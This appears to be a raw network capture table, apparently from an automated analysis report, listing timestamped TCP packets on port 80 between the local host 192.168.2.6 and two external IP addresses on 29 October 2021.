Oct 29, 2021 17:56:10.965727091 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965747118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965771914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965790033 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965801954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965830088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965856075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965857029 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965863943 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.966125965 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.986257076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.986285925 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.986306906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.986327887 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.986347914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.986367941 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.986387014 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.986399889 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.986403942 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.986442089 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.986449003 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.986453056 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:11.161082983 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.161137104 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.161176920 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.161221027 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.161257029 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.161261082 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.161297083 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.161303043 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.161375046 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.161405087 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.161448002 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.161487103 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.161519051 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.161537886 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.161572933 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.207429886 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207462072 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207473993 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207488060 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207541943 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.207566977 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207581043 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.207587957 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207606077 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207624912 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207659006 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.207674026 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207694054 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207703114 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.207716942 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207736015 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207751036 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207751989 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.207766056 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207779884 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207787037 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.207793951 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207891941 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.207907915 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.207940102 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207957983 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.207988024 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.208004951 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.208004951 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.208095074 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253557920 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253587008 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253603935 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253621101 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253637075 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253649950 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253655910 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253669024 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253674030 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253691912 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253715038 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253715038 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253731966 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253741026 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253751993 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253771067 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253779888 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253791094 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253808022 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253814936 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253827095 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253844023 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253859043 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253863096 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253881931 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253882885 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253900051 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253917933 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253932953 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253938913 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253950119 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253968000 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253983021 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.253989935 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.253993034 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.254021883 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254030943 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254030943 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.254054070 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254074097 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254090071 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254100084 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.254106998 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254122972 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254132986 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.254138947 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254153013 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.254156113 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254173040 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254188061 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.254188061 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254203081 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254218102 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254220009 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.254234076 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254244089 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.254250050 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254266977 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.254290104 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.254318953 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300286055 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300314903 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300332069 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300348997 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300367117 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300381899 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300384045 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300401926 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300421953 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300440073 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300441980 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300457954 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300458908 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300477028 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300494909 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300502062 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300512075 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300529003 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300529957 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300545931 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300563097 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300579071 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300580025 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300597906 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300616980 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300645113 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300652981 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300669909 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300709963 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300713062 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300725937 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300739050 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300750017 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300754070 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300765038 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300769091 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300780058 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300780058 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300789118 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300801992 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300820112 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300821066 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300837994 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300857067 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300875902 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300888062 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300892115 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300909042 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300925970 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300931931 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300942898 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300960064 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300962925 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.300977945 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300996065 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.300997019 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.301012993 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.301028967 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.301031113 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.301044941 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.301062107 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.301064014 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.301079035 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.301098108 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.301109076 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.301112890 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.301120043 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.301163912 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.346649885 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.346707106 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.346798897 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347023010 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347067118 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347109079 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347151041 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347162962 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347189903 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347194910 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347230911 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347270966 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347309113 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347320080 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347349882 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347354889 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347390890 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347429037 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347469091 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347474098 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347507954 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347512007 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347548962 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347590923 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347628117 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347632885 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347666979 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347667933 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347707987 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347748041 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347786903 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347790003 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347825050 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347825050 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347866058 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347906113 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347944975 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.347971916 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.347982883 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348021984 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348022938 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348061085 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348100901 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348112106 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348140001 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348145962 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348181009 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348222017 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348233938 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348261118 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348293066 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348330975 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348337889 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348371029 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348407984 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348411083 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348448992 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348486900 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348499060 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348527908 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348530054 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348565102 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348603964 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348608971 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348643064 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348681927 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348721981 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348723888 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348761082 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348763943 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.348800898 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.348957062 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.392941952 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.393022060 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.393117905 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.394761086 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.394824028 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.394880056 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.394905090 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.394932032 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.394984961 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395054102 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395056963 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.395106077 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395113945 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.395174980 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395234108 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395276070 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.395293951 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395351887 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395381927 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.395411015 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395471096 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395473957 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.395531893 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395587921 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395596027 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.395643950 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395706892 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395720005 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.395766973 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395827055 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395884991 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395895958 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.395945072 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.395978928 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.396002054 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396056890 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396116018 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396126986 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.396172047 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396223068 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.396225929 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396270990 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.396280050 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396337032 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396435022 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396487951 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396508932 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.396536112 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.396553993 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396610022 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396675110 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396728992 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396735907 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.396783113 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396785975 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.396836042 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396919966 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396971941 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.396975994 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.397025108 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.397027016 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.397083044 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.397140026 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.397201061 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.397253036 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.397305965 CEST	80	49859	194.180.174.181	192.168.2.6
